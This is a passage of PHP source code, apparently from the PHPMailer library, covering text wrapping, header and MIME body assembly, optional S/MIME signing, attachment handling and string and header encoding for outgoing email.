  1864. //Message will be rebuilt in here
  1865. $message = '';
  1866. foreach ($lines as $line) {
  1867. $words = explode(' ', $line);
  1868. $buf = '';
  1869. $firstword = true;
  1870. foreach ($words as $word) {
  1871. if ($qp_mode and (strlen($word) > $length)) {
  1872. $space_left = $length - strlen($buf) - $crlflen;
  1873. if (!$firstword) {
  1874. if ($space_left > 20) {
  1875. $len = $space_left;
  1876. if ($is_utf8) {
  1877. $len = $this->utf8CharBoundary($word, $len);
  1878. } elseif (substr($word, $len - 1, 1) == '=') {
  1879. $len--;
  1880. } elseif (substr($word, $len - 2, 1) == '=') {
  1881. $len -= 2;
  1882. }
  1883. $part = substr($word, 0, $len);
  1884. $word = substr($word, $len);
  1885. $buf .= ' ' . $part;
  1886. $message .= $buf . sprintf('=%s', self::CRLF);
  1887. } else {
  1888. $message .= $buf . $soft_break;
  1889. }
  1890. $buf = '';
  1891. }
  1892. while (strlen($word) > 0) {
  1893. if ($length <= 0) {
  1894. break;
  1895. }
  1896. $len = $length;
  1897. if ($is_utf8) {
  1898. $len = $this->utf8CharBoundary($word, $len);
  1899. } elseif (substr($word, $len - 1, 1) == '=') {
  1900. $len--;
  1901. } elseif (substr($word, $len - 2, 1) == '=') {
  1902. $len -= 2;
  1903. }
  1904. $part = substr($word, 0, $len);
  1905. $word = substr($word, $len);
  1906.  
  1907. if (strlen($word) > 0) {
  1908. $message .= $part . sprintf('=%s', self::CRLF);
  1909. } else {
  1910. $buf = $part;
  1911. }
  1912. }
  1913. } else {
  1914. $buf_o = $buf;
  1915. if (!$firstword) {
  1916. $buf .= ' ';
  1917. }
  1918. $buf .= $word;
  1919.  
  1920. if (strlen($buf) > $length and $buf_o != '') {
  1921. $message .= $buf_o . $soft_break;
  1922. $buf = $word;
  1923. }
  1924. }
  1925. $firstword = false;
  1926. }
  1927. $message .= $buf . self::CRLF;
  1928. }
  1929.  
  1930. return $message;
  1931. }
  1932.  
  1933. /**
  1934. * Find the last character boundary prior to $maxLength in a utf-8
  1935. * quoted-printable encoded string.
  1936. * Original written by Colin Brown.
  1937. * @access public
  1938. * @param string $encodedText utf-8 QP text
  1939. * @param integer $maxLength Find the last character boundary prior to this length
  1940. * @return integer
  1941. */
  1942. public function utf8CharBoundary($encodedText, $maxLength)
  1943. {
  1944. $foundSplitPos = false;
  1945. $lookBack = 3;
  1946. while (!$foundSplitPos) {
  1947. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1948. $encodedCharPos = strpos($lastChunk, '=');
  1949. if (false !== $encodedCharPos) {
  1950. // Found start of encoded character byte within $lookBack block.
  1951. // Check the encoded byte value (the 2 chars after the '=')
  1952. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1953. $dec = hexdec($hex);
  1954. if ($dec < 128) {
  1955. // Single byte character.
  1956. // If the encoded char was found at pos 0, it will fit
  1957. // otherwise reduce maxLength to start of the encoded char
  1958. if ($encodedCharPos > 0) {
  1959. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1960. }
  1961. $foundSplitPos = true;
  1962. } elseif ($dec >= 192) {
  1963. // First byte of a multi byte character
  1964. // Reduce maxLength to split at start of character
  1965. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1966. $foundSplitPos = true;
  1967. } elseif ($dec < 192) {
  1968. // Middle byte of a multi byte character, look further back
  1969. $lookBack += 3;
  1970. }
  1971. } else {
  1972. // No encoded character found
  1973. $foundSplitPos = true;
  1974. }
  1975. }
  1976. return $maxLength;
  1977. }
  1978.  
  1979. /**
  1980. * Apply word wrapping to the message body.
  1981. * Wraps the message body to the number of chars set in the WordWrap property.
  1982. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1983. * This is called automatically by createBody(), so you don't need to call it yourself.
  1984. * @access public
  1985. * @return void
  1986. */
  1987. public function setWordWrap()
  1988. {
  1989. if ($this->WordWrap < 1) {
  1990. return;
  1991. }
  1992.  
  1993. switch ($this->message_type) {
  1994. case 'alt':
  1995. case 'alt_inline':
  1996. case 'alt_attach':
  1997. case 'alt_inline_attach':
  1998. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1999. break;
  2000. default:
  2001. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2002. break;
  2003. }
  2004. }
  2005.  
  2006. /**
  2007. * Assemble message headers.
  2008. * @access public
  2009. * @return string The assembled headers
  2010. */
  2011. public function createHeader()
  2012. {
  2013. $result = '';
  2014.  
  2015. if ($this->MessageDate == '') {
  2016. $this->MessageDate = self::rfcDate();
  2017. }
  2018. $result .= $this->headerLine('Date', $this->MessageDate);
  2019.  
  2020. // To be created automatically by mail()
  2021. if ($this->SingleTo) {
  2022. if ($this->Mailer != 'mail') {
  2023. foreach ($this->to as $toaddr) {
  2024. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2025. }
  2026. }
  2027. } else {
  2028. if (count($this->to) > 0) {
  2029. if ($this->Mailer != 'mail') {
  2030. $result .= $this->addrAppend('To', $this->to);
  2031. }
  2032. } elseif (count($this->cc) == 0) {
  2033. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2034. }
  2035. }
  2036.  
  2037. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2038.  
  2039. // sendmail and mail() extract Cc from the header before sending
  2040. if (count($this->cc) > 0) {
  2041. $result .= $this->addrAppend('Cc', $this->cc);
  2042. }
  2043.  
  2044. // sendmail and mail() extract Bcc from the header before sending
  2045. if ((
  2046. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2047. )
  2048. and count($this->bcc) > 0
  2049. ) {
  2050. $result .= $this->addrAppend('Bcc', $this->bcc);
  2051. }
  2052.  
  2053. if (count($this->ReplyTo) > 0) {
  2054. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2055. }
  2056.  
  2057. // mail() sets the subject itself
  2058. if ($this->Mailer != 'mail') {
  2059. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2060. }
  2061.  
  2062. if ($this->MessageID != '') {
  2063. $this->lastMessageID = $this->MessageID;
  2064. } else {
  2065. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2066. }
  2067. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2068. if (!is_null($this->Priority)) {
  2069. $result .= $this->headerLine('X-Priority', $this->Priority);
  2070. }
  2071. if ($this->XMailer == '') {
  2072. $result .= $this->headerLine(
  2073. 'X-Mailer',
  2074. 'PHPMailer 3.0'
  2075. );
  2076. } else {
  2077. $myXmailer = trim($this->XMailer);
  2078. if ($myXmailer) {
  2079. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2080. }
  2081. }
  2082.  
  2083. if ($this->ConfirmReadingTo != '') {
  2084. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2085. }
  2086.  
  2087. // Add custom headers
  2088. foreach ($this->CustomHeader as $header) {
  2089. $result .= $this->headerLine(
  2090. trim($header[0]),
  2091. $this->encodeHeader(trim($header[1]))
  2092. );
  2093. }
  2094. if (!$this->sign_key_file) {
  2095. $result .= $this->headerLine('MIME-Version', '1.0');
  2096. $result .= $this->getMailMIME();
  2097. }
  2098.  
  2099. return $result;
  2100. }
  2101.  
  2102. /**
  2103. * Get the message MIME type headers.
  2104. * @access public
  2105. * @return string
  2106. */
  2107. public function getMailMIME()
  2108. {
  2109. $result = '';
  2110. $ismultipart = true;
  2111. switch ($this->message_type) {
  2112. case 'inline':
  2113. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2114. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2115. break;
  2116. case 'attach':
  2117. case 'inline_attach':
  2118. case 'alt_attach':
  2119. case 'alt_inline_attach':
  2120. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2121. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2122. break;
  2123. case 'alt':
  2124. case 'alt_inline':
  2125. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2126. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2127. break;
  2128. default:
  2129. // Catches case 'plain': and case '':
  2130. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2131. $ismultipart = false;
  2132. break;
  2133. }
  2134. // RFC1341 part 5 says 7bit is assumed if not specified
  2135. if ($this->Encoding != '7bit') {
  2136. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2137. if ($ismultipart) {
  2138. if ($this->Encoding == '8bit') {
  2139. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2140. }
  2141. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2142. } else {
  2143. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2144. }
  2145. }
  2146.  
  2147. if ($this->Mailer != 'mail') {
  2148. $result .= $this->LE;
  2149. }
  2150.  
  2151. return $result;
  2152. }
  2153.  
  2154. /**
  2155. * Returns the whole MIME message.
  2156. * Includes complete headers and body.
  2157. * Only valid post preSend().
  2158. * @see PHPMailer::preSend()
  2159. * @access public
  2160. * @return string
  2161. */
  2162. public function getSentMIMEMessage()
  2163. {
  2164. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2165. }
  2166.  
  2167. /**
  2168. * Assemble the message body.
  2169. * Returns an empty string on failure.
  2170. * @access public
  2171. * @throws phpmailerException
  2172. * @return string The assembled message body
  2173. */
  2174. public function createBody()
  2175. {
  2176. $body = '';
  2177. //Create unique IDs and preset boundaries
  2178. $this->uniqueid = md5(uniqid(time()));
  2179. $this->boundary[1] = 'b1_' . $this->uniqueid;
  2180. $this->boundary[2] = 'b2_' . $this->uniqueid;
  2181. $this->boundary[3] = 'b3_' . $this->uniqueid;
  2182.  
  2183. if ($this->sign_key_file) {
  2184. $body .= $this->getMailMIME() . $this->LE;
  2185. }
  2186.  
  2187. $this->setWordWrap();
  2188.  
  2189. $bodyEncoding = $this->Encoding;
  2190. $bodyCharSet = $this->CharSet;
  2191. //Can we do a 7-bit downgrade?
  2192. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2193. $bodyEncoding = '7bit';
  2194. $bodyCharSet = 'us-ascii';
  2195. }
  2196. //If lines are too long, and we're not already using an encoding that will shorten them,
  2197. //change to quoted-printable transfer encoding
  2198. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2199. $this->Encoding = 'quoted-printable';
  2200. $bodyEncoding = 'quoted-printable';
  2201. }
  2202.  
  2203. $altBodyEncoding = $this->Encoding;
  2204. $altBodyCharSet = $this->CharSet;
  2205. //Can we do a 7-bit downgrade?
  2206. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2207. $altBodyEncoding = '7bit';
  2208. $altBodyCharSet = 'us-ascii';
  2209. }
  2210. //If lines are too long, and we're not already using an encoding that will shorten them,
  2211. //change to quoted-printable transfer encoding
  2212. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2213. $altBodyEncoding = 'quoted-printable';
  2214. }
  2215. //Use this as a preamble in all multipart message types
  2216. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2217. switch ($this->message_type) {
  2218. case 'inline':
  2219. $body .= $mimepre;
  2220. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2221. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2222. $body .= $this->LE . $this->LE;
  2223. $body .= $this->attachAll('inline', $this->boundary[1]);
  2224. break;
  2225. case 'attach':
  2226. $body .= $mimepre;
  2227. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2228. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2229. $body .= $this->LE . $this->LE;
  2230. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2231. break;
  2232. case 'inline_attach':
  2233. $body .= $mimepre;
  2234. $body .= $this->textLine('--' . $this->boundary[1]);
  2235. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2236. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2237. $body .= $this->LE;
  2238. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2239. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2240. $body .= $this->LE . $this->LE;
  2241. $body .= $this->attachAll('inline', $this->boundary[2]);
  2242. $body .= $this->LE;
  2243. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2244. break;
  2245. case 'alt':
  2246. $body .= $mimepre;
  2247. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2248. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2249. $body .= $this->LE . $this->LE;
  2250. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2251. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2252. $body .= $this->LE . $this->LE;
  2253. if (!empty($this->Ical)) {
  2254. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2255. $body .= $this->encodeString($this->Ical, $this->Encoding);
  2256. $body .= $this->LE . $this->LE;
  2257. }
  2258. $body .= $this->endBoundary($this->boundary[1]);
  2259. break;
  2260. case 'alt_inline':
  2261. $body .= $mimepre;
  2262. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2263. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2264. $body .= $this->LE . $this->LE;
  2265. $body .= $this->textLine('--' . $this->boundary[1]);
  2266. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2267. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2268. $body .= $this->LE;
  2269. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2270. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2271. $body .= $this->LE . $this->LE;
  2272. $body .= $this->attachAll('inline', $this->boundary[2]);
  2273. $body .= $this->LE;
  2274. $body .= $this->endBoundary($this->boundary[1]);
  2275. break;
  2276. case 'alt_attach':
  2277. $body .= $mimepre;
  2278. $body .= $this->textLine('--' . $this->boundary[1]);
  2279. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2280. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2281. $body .= $this->LE;
  2282. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2283. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2284. $body .= $this->LE . $this->LE;
  2285. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2286. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2287. $body .= $this->LE . $this->LE;
  2288. $body .= $this->endBoundary($this->boundary[2]);
  2289. $body .= $this->LE;
  2290. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2291. break;
  2292. case 'alt_inline_attach':
  2293. $body .= $mimepre;
  2294. $body .= $this->textLine('--' . $this->boundary[1]);
  2295. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2296. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2297. $body .= $this->LE;
  2298. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2299. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2300. $body .= $this->LE . $this->LE;
  2301. $body .= $this->textLine('--' . $this->boundary[2]);
  2302. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2303. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2304. $body .= $this->LE;
  2305. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2306. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2307. $body .= $this->LE . $this->LE;
  2308. $body .= $this->attachAll('inline', $this->boundary[3]);
  2309. $body .= $this->LE;
  2310. $body .= $this->endBoundary($this->boundary[2]);
  2311. $body .= $this->LE;
  2312. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2313. break;
  2314. default:
  2315. // catch case 'plain' and case ''
  2316. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2317. break;
  2318. }
  2319.  
  2320. if ($this->isError()) {
  2321. $body = '';
  2322. } elseif ($this->sign_key_file) {
  2323. try {
  2324. if (!defined('PKCS7_TEXT')) {
  2325. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2326. }
  2327. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2328. $file = tempnam(sys_get_temp_dir(), 'mail');
  2329. if (false === file_put_contents($file, $body)) {
  2330. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2331. }
  2332. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2333. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2334. if (empty($this->sign_extracerts_file)) {
  2335. $sign = @openssl_pkcs7_sign(
  2336. $file,
  2337. $signed,
  2338. 'file://' . realpath($this->sign_cert_file),
  2339. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2340. null
  2341. );
  2342. } else {
  2343. $sign = @openssl_pkcs7_sign(
  2344. $file,
  2345. $signed,
  2346. 'file://' . realpath($this->sign_cert_file),
  2347. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2348. null,
  2349. PKCS7_DETACHED,
  2350. $this->sign_extracerts_file
  2351. );
  2352. }
  2353. if ($sign) {
  2354. @unlink($file);
  2355. $body = file_get_contents($signed);
  2356. @unlink($signed);
  2357. //The message returned by openssl contains both headers and body, so need to split them up
  2358. $parts = explode("\n\n", $body, 2);
  2359. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2360. $body = $parts[1];
  2361. } else {
  2362. @unlink($file);
  2363. @unlink($signed);
  2364. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2365. }
  2366. } catch (phpmailerException $exc) {
  2367. $body = '';
  2368. if ($this->exceptions) {
  2369. throw $exc;
  2370. }
  2371. }
  2372. }
  2373. return $body;
  2374. }
  2375.  
  2376. /**
  2377. * Return the start of a message boundary.
  2378. * @access protected
  2379. * @param string $boundary
  2380. * @param string $charSet
  2381. * @param string $contentType
  2382. * @param string $encoding
  2383. * @return string
  2384. */
  2385. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2386. {
  2387. $result = '';
  2388. if ($charSet == '') {
  2389. $charSet = $this->CharSet;
  2390. }
  2391. if ($contentType == '') {
  2392. $contentType = $this->ContentType;
  2393. }
  2394. if ($encoding == '') {
  2395. $encoding = $this->Encoding;
  2396. }
  2397. $result .= $this->textLine('--' . $boundary);
  2398. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2399. $result .= $this->LE;
  2400. // RFC1341 part 5 says 7bit is assumed if not specified
  2401. if ($encoding != '7bit') {
  2402. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2403. }
  2404. $result .= $this->LE;
  2405.  
  2406. return $result;
  2407. }
  2408.  
  2409. /**
  2410. * Return the end of a message boundary.
  2411. * @access protected
  2412. * @param string $boundary
  2413. * @return string
  2414. */
  2415. protected function endBoundary($boundary)
  2416. {
  2417. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2418. }
  2419.  
  2420. /**
  2421. * Set the message type.
  2422. * PHPMailer only supports some preset message types,
  2423. * not arbitrary MIME structures.
  2424. * @access protected
  2425. * @return void
  2426. */
  2427. protected function setMessageType()
  2428. {
  2429. $type = array();
  2430. if ($this->alternativeExists()) {
  2431. $type[] = 'alt';
  2432. }
  2433. if ($this->inlineImageExists()) {
  2434. $type[] = 'inline';
  2435. }
  2436. if ($this->attachmentExists()) {
  2437. $type[] = 'attach';
  2438. }
  2439. $this->message_type = implode('_', $type);
  2440. if ($this->message_type == '') {
  2441. $this->message_type = 'plain';
  2442. }
  2443. }
  2444.  
  2445. /**
  2446. * Format a header line.
  2447. * @access public
  2448. * @param string $name
  2449. * @param string $value
  2450. * @return string
  2451. */
  2452. public function headerLine($name, $value)
  2453. {
  2454. return $name . ': ' . $value . $this->LE;
  2455. }
  2456.  
  2457. /**
  2458. * Return a formatted mail line.
  2459. * @access public
  2460. * @param string $value
  2461. * @return string
  2462. */
  2463. public function textLine($value)
  2464. {
  2465. return $value . $this->LE;
  2466. }
  2467.  
  2468. /**
  2469. * Add an attachment from a path on the filesystem.
  2470. * Returns false if the file could not be found or read.
  2471. * @param string $path Path to the attachment.
  2472. * @param string $name Overrides the attachment name.
  2473. * @param string $encoding File encoding (see $Encoding).
  2474. * @param string $type File extension (MIME) type.
  2475. * @param string $disposition Disposition to use
  2476. * @throws phpmailerException
  2477. * @return boolean
  2478. */
  2479. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2480. {
  2481. try {
  2482. if (!@is_file($path)) {
  2483. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2484. }
  2485.  
  2486. // If a MIME type is not specified, try to work it out from the file name
  2487. if ($type == '') {
  2488. $type = self::filenameToType($path);
  2489. }
  2490.  
  2491. $filename = basename($path);
  2492. if ($name == '') {
  2493. $name = $filename;
  2494. }
  2495.  
  2496. $this->attachment[] = array(
  2497. 0 => $path,
  2498. 1 => $filename,
  2499. 2 => $name,
  2500. 3 => $encoding,
  2501. 4 => $type,
  2502. 5 => false, // isStringAttachment
  2503. 6 => $disposition,
  2504. 7 => 0
  2505. );
  2506.  
  2507. } catch (phpmailerException $exc) {
  2508. $this->setError($exc->getMessage());
  2509. $this->edebug($exc->getMessage());
  2510. if ($this->exceptions) {
  2511. throw $exc;
  2512. }
  2513. return false;
  2514. }
  2515. return true;
  2516. }
  2517.  
  2518. /**
  2519. * Return the array of attachments.
  2520. * @return array
  2521. */
  2522. public function getAttachments()
  2523. {
  2524. return $this->attachment;
  2525. }
  2526.  
  2527. /**
  2528. * Attach all file, string, and binary attachments to the message.
  2529. * Returns an empty string on failure.
  2530. * @access protected
  2531. * @param string $disposition_type
  2532. * @param string $boundary
  2533. * @return string
  2534. */
  2535. protected function attachAll($disposition_type, $boundary)
  2536. {
  2537. // Return text of body
  2538. $mime = array();
  2539. $cidUniq = array();
  2540. $incl = array();
  2541.  
  2542. // Add all attachments
  2543. foreach ($this->attachment as $attachment) {
  2544. // Check if it is a valid disposition_filter
  2545. if ($attachment[6] == $disposition_type) {
  2546. // Check for string attachment
  2547. $string = '';
  2548. $path = '';
  2549. $bString = $attachment[5];
  2550. if ($bString) {
  2551. $string = $attachment[0];
  2552. } else {
  2553. $path = $attachment[0];
  2554. }
  2555.  
  2556. $inclhash = md5(serialize($attachment));
  2557. if (in_array($inclhash, $incl)) {
  2558. continue;
  2559. }
  2560. $incl[] = $inclhash;
  2561. $name = $attachment[2];
  2562. $encoding = $attachment[3];
  2563. $type = $attachment[4];
  2564. $disposition = $attachment[6];
  2565. $cid = $attachment[7];
  2566. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2567. continue;
  2568. }
  2569. $cidUniq[$cid] = true;
  2570.  
  2571. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2572. //Only include a filename property if we have one
  2573. if (!empty($name)) {
  2574. $mime[] = sprintf(
  2575. 'Content-Type: %s; name="%s"%s',
  2576. $type,
  2577. $this->encodeHeader($this->secureHeader($name)),
  2578. $this->LE
  2579. );
  2580. } else {
  2581. $mime[] = sprintf(
  2582. 'Content-Type: %s%s',
  2583. $type,
  2584. $this->LE
  2585. );
  2586. }
  2587. // RFC1341 part 5 says 7bit is assumed if not specified
  2588. if ($encoding != '7bit') {
  2589. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2590. }
  2591.  
  2592. if ($disposition == 'inline') {
  2593. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2594. }
  2595.  
  2596. // If a filename contains any of these chars, it should be quoted,
  2597. // but not otherwise: RFC2183 & RFC2045 5.1
  2598. // Fixes a warning in IETF's msglint MIME checker
  2599. // Allow for bypassing the Content-Disposition header totally
  2600. if (!(empty($disposition))) {
  2601. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2602. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2603. $mime[] = sprintf(
  2604. 'Content-Disposition: %s; filename="%s"%s',
  2605. $disposition,
  2606. $encoded_name,
  2607. $this->LE . $this->LE
  2608. );
  2609. } else {
  2610. if (!empty($encoded_name)) {
  2611. $mime[] = sprintf(
  2612. 'Content-Disposition: %s; filename=%s%s',
  2613. $disposition,
  2614. $encoded_name,
  2615. $this->LE . $this->LE
  2616. );
  2617. } else {
  2618. $mime[] = sprintf(
  2619. 'Content-Disposition: %s%s',
  2620. $disposition,
  2621. $this->LE . $this->LE
  2622. );
  2623. }
  2624. }
  2625. } else {
  2626. $mime[] = $this->LE;
  2627. }
  2628.  
  2629. // Encode as string attachment
  2630. if ($bString) {
  2631. $mime[] = $this->encodeString($string, $encoding);
  2632. if ($this->isError()) {
  2633. return '';
  2634. }
  2635. $mime[] = $this->LE . $this->LE;
  2636. } else {
  2637. $mime[] = $this->encodeFile($path, $encoding);
  2638. if ($this->isError()) {
  2639. return '';
  2640. }
  2641. $mime[] = $this->LE . $this->LE;
  2642. }
  2643. }
  2644. }
  2645.  
  2646. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2647.  
  2648. return implode('', $mime);
  2649. }
  2650.  
  2651. /**
  2652. * Encode a file attachment in requested format.
  2653. * Returns an empty string on failure.
  2654. * @param string $path The full path to the file
  2655. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2656. * @throws phpmailerException
  2657. * @access protected
  2658. * @return string
  2659. */
  2660. protected function encodeFile($path, $encoding = 'base64')
  2661. {
  2662. try {
  2663. if (!is_readable($path)) {
  2664. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2665. }
  2666. $magic_quotes = get_magic_quotes_runtime();
  2667. if ($magic_quotes) {
  2668. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2669. set_magic_quotes_runtime(false);
  2670. } else {
  2671. //Doesn't exist in PHP 5.4, but we don't need to check because
  2672. //get_magic_quotes_runtime always returns false in 5.4+
  2673. //so it will never get here
  2674. ini_set('magic_quotes_runtime', false);
  2675. }
  2676. }
  2677. $file_buffer = file_get_contents($path);
  2678. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2679. if ($magic_quotes) {
  2680. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2681. set_magic_quotes_runtime($magic_quotes);
  2682. } else {
  2683. ini_set('magic_quotes_runtime', $magic_quotes);
  2684. }
  2685. }
  2686. return $file_buffer;
  2687. } catch (Exception $exc) {
  2688. $this->setError($exc->getMessage());
  2689. return '';
  2690. }
  2691. }
  2692.  
  2693. /**
  2694. * Encode a string in requested format.
  2695. * Returns an empty string on failure.
  2696. * @param string $str The text to encode
  2697. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2698. * @access public
  2699. * @return string
  2700. */
  2701. public function encodeString($str, $encoding = 'base64')
  2702. {
  2703. $encoded = '';
  2704. switch (strtolower($encoding)) {
  2705. case 'base64':
  2706. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2707. break;
  2708. case '7bit':
  2709. case '8bit':
  2710. $encoded = $this->fixEOL($str);
  2711. // Make sure it ends with a line break
  2712. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2713. $encoded .= $this->LE;
  2714. }
  2715. break;
  2716. case 'binary':
  2717. $encoded = $str;
  2718. break;
  2719. case 'quoted-printable':
  2720. $encoded = $this->encodeQP($str);
  2721. break;
  2722. default:
  2723. $this->setError($this->lang('encoding') . $encoding);
  2724. break;
  2725. }
  2726. return $encoded;
  2727. }
  2728.  
  2729. /**
  2730. * Encode a header string optimally.
  2731. * Picks shortest of Q, B, quoted-printable or none.
  2732. * @access public
  2733. * @param string $str
  2734. * @param string $position
  2735. * @return string
  2736. */
  2737. public function encodeHeader($str, $position = 'text')
  2738. {
  2739. $matchcount = 0;
  2740. switch (strtolower($position)) {
  2741. case 'phrase':
  2742. if (!preg_match('/[\200-\377]/', $str)) {
  2743. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2744. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2745. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2746. return ($encoded);
  2747. } else {
  2748. return ("\"$encoded\"");
  2749. }
  2750. }
  2751. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2752. break;
  2753. /** @noinspection PhpMissingBreakStatementInspection */
  2754. case 'comment':
  2755. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2756. // Intentional fall-through
  2757. case 'text':
  2758. default:
  2759. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2760. break;
  2761. }
  2762.  
  2763. //There are no chars that need encoding
  2764. if ($matchcount == 0) {
  2765. return ($str);
  2766. }
  2767.  
  2768. $maxlen = 75 - 7 - strlen($this->CharSet);
  2769. // Try to select the encoding which should produce the shortest output
  2770. if ($matchcount > strlen($str) / 3) {
  2771. // More than a third of the content will need encoding, so B encoding will be most efficient
  2772. $encoding = 'B';
